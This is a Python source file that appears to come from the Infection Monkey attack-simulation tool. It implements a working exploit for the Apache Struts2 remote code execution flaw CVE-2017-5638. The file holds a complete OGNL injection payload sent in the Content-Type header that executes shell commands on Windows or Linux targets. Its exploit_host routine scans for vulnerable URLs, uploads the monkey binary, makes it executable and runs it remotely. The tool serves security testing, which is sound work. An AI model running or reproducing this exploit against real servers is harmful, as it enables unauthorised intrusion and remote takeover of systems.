monkey/infection_monkey/exploit/struts2.py

117 lines
4.3 KiB
Python

"""
Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 )
code used is from https://www.exploit-db.com/exploits/41570/
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
"""
import urllib2
import httplib
import unicodedata
import re
import logging
from web_rce import WebRCE
import copy
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
DOWNLOAD_TIMEOUT = 300
class Struts2Exploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
def __init__(self, host):
super(Struts2Exploiter, self).__init__(host)
def exploit_host(self):
# Get open ports
ports = self.get_ports_w(self.HTTP, ["http"])
if not ports:
return False
# Get urls to try to exploit
urls = self.build_potential_urls(ports)
vulnerable_urls = []
for url in urls:
# Get full URL
url = self.get_redirected(url)
if self.check_if_exploitable(url):
vulnerable_urls.append(url)
self._exploit_info['vulnerable_urls'] = vulnerable_urls
if not vulnerable_urls:
return False
if self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
if not self.set_host_arch(vulnerable_urls[0]):
return False
data = self.upload_monkey(vulnerable_urls[0])
# We can't use 'if not' because response may be ''
if data is not False and data['response'] is False:
return False
if self.change_permissions(vulnerable_urls[0], data['path']) is False:
return False
if self.execute_remote_monkey(vulnerable_urls[0], data['path'], True) is False:
return False
return True
@staticmethod
def get_redirected(url):
# Returns false if url is not right
headers = {'User-Agent': 'Mozilla/5.0'}
request = urllib2.Request(url, headers=headers)
try:
return urllib2.urlopen(request).geturl()
except urllib2.URLError:
LOG.error("Can't reach struts2 server")
return False
def exploit(self, url, cmd):
"""
:param url: Full url to send request to
:param cmd: Code to try and execute on host
:return: response
"""
cmd = re.sub(r"\\", r"\\\\", cmd)
cmd = re.sub(r"'", r"\\'", cmd)
payload = "%%{(#_='multipart/form-data')." \
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
"(#_memberAccess?" \
"(#_memberAccess=#dm):" \
"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \
"(#ognlUtil.getExcludedPackageNames().clear())." \
"(#ognlUtil.getExcludedClasses().clear())." \
"(#context.setMemberAccess(#dm))))." \
"(#cmd='%s')." \
"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \
"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
"(#p=new java.lang.ProcessBuilder(#cmds))." \
"(#p.redirectErrorStream(true)).(#process=#p.start())." \
"(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
"(#ros.flush())}" % cmd
# Turns payload ascii just for consistency
if isinstance(payload, unicode):
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
try:
request = urllib2.Request(url, headers=headers)
# Timeout added or else we would wait for all monkeys' output
page = urllib2.urlopen(request).read()
except AttributeError:
# If url does not exist
return False
except httplib.IncompleteRead as e:
page = e.partial
return page